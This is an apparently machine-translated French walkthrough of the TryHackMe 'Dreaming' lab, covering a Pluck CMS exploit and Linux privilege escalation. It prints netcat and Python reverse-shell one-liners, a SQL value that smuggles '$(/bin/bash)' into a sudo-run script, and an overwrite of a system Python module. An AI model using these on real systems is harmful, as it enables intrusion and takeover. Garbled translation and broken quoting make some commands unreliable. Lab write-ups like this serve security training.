Nous avons couvert EssayezHackMe Dreaming défi où nous avons démontré des concepts de tests d'intrusion tels que l'exploitation d'une version vulnérable de Pluck CMS pour obtenir un shell inversé. Ensuite, nous avons lancé le processus d’élévation horizontale des privilèges Linux. Nous avons évolué entre différents utilisateurs avec des privilèges alternés tels que www-data, lucien, death et morpheus. Grâce à une combinaison d'autorisations de fichiers faibles, de privilèges mal attribués et d'informations d'identification codées en dur, nous avons pu étendre les privilèges à l'utilisateur le plus élevé, Morpheus, et relever le défi.

Obtenir des notes OSCP

Le cours pratique complet sur les tests d’intrusion d’applications Web

Faits saillants de la vidéo

La première chose que nous allons commencer comme vous pouvez le voir avec le scan Nmap qui révèle deux ports ouverts à savoir 22 et 80.
Nous commençons par la page Web sur le port 80 et c'est la page Apache par défaut qui nous incite à utiliser gobuster pour révéler le répertoire /app.
Ainsi, le chemin révèle que vous pouvez voir l'application directement ainsi que la technologie utilisée sur le serveur Web, qui est Pluck CMS avec la version 4.7.13. La version est dotée de la technologie du logiciel, vous devez donc rechercher l'exploit correspondant à l'aide de searchsploit. L'exploit nécessite un accès authentifié qui peut être obtenu en cliquant sur le lien « admin » et en utilisant « mot de passe » comme mot de passe pour vous connecter au panneau d'administration de Pluck CMS. Par conséquent, nous avons les conditions requises pour exécuter l’exploit et télécharger le webshell.

Depuis le webshell, nous pouvons utiliser le reverse shell netcat : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.2.81.146 4547 >/tmp/f

Nous voyons donc que nous avons deux scripts Python sous /opter l'un est getdreams.py et l'autre est test.py qui contient le mot de passe en texte brut de l'utilisateur Lucien.
Utilisation suivante sudo -l pour visualiser les privilèges de l'utilisateur Lucien pour constater que Lucien peut exécuter ce qui suit en tant qu'utilisateur la mort

sudo -u death /user/lib/python3.8 /home/death/getDreams.py

GetDreams.py est un script python pour effectuer certaines opérations sur mon serveur SQL, alors pourquoi ne devrions-nous pas nous connecter à mon serveur SQL et découvrir ce qui se passe ? Droite? Alors, comment consulter mon SQL Server. Nous jetons un œil au fichier historique bash de l'utilisateur Lucien:

chat .bash_history La sortie révélera la commande complète pour se connecter au serveur MYSQL.

Lorsque nous nous connecterons à mon serveur SQL, nous lancerons le processus d'énumération MySQL. Nous montrons donc d'abord les bases de données, comme vous pouvez le voir, nous avons une base de données unique nommée Bibliothèque.

afficher les bases de données ;

utiliser la bibliothèque ;

sélectionnez * parmi les rêves ;

INSÉRER DANS les rêves (rêveur, rêve) VALEURS (« injection », « $(/bin/bash) »;

Nous savons que Lucian peut exécuter le script python en tant que sudo, donc maintenant, si vous l'exécutez, nous aurons le shell comme utilisateur décédé.

Donc du www-données dans Lucien et maintenant au Morphée utilisateur.
Alors, comment augmenter les privilèges, examinez d'abord le contenu du répertoire appartenant à cet utilisateur. Je verrai qu'il existe un script nommé restaurer.py qui est un script python si nous jetons un œil au script python que nous voyons qu'il utilise fermer module en python pour effectuer une sauvegarde. Ainsi, un rapide coup d'œil à ce fichier dans /usr/lib/python3.8/shutil.py révèle que le groupe la mort peut modifier ce fichier, nous insérons donc un shell inversé python après avoir annulé son contenu pour obtenir le dernier shell tel que morphée utilisateur.

echo "" > /usr/lib/python3.8/shutil.py

echo "import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh"", -i”],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())” > /usr/lib/python3.8/shutil.py

Réponses de la salle

Qu'est-ce que le drapeau Lucien ?
Qu'est-ce que le drapeau de la mort ?

Vidéo pas à pas

A propos de l'Auteur

Je crée des notes de cybersécurité, des notes de marketing numérique et des cours en ligne. Je fournis également des conseils en marketing numérique, y compris, mais sans s'y limiter, le référencement, les publicités Google et Meta et l'administration CRM.

Voir les Articles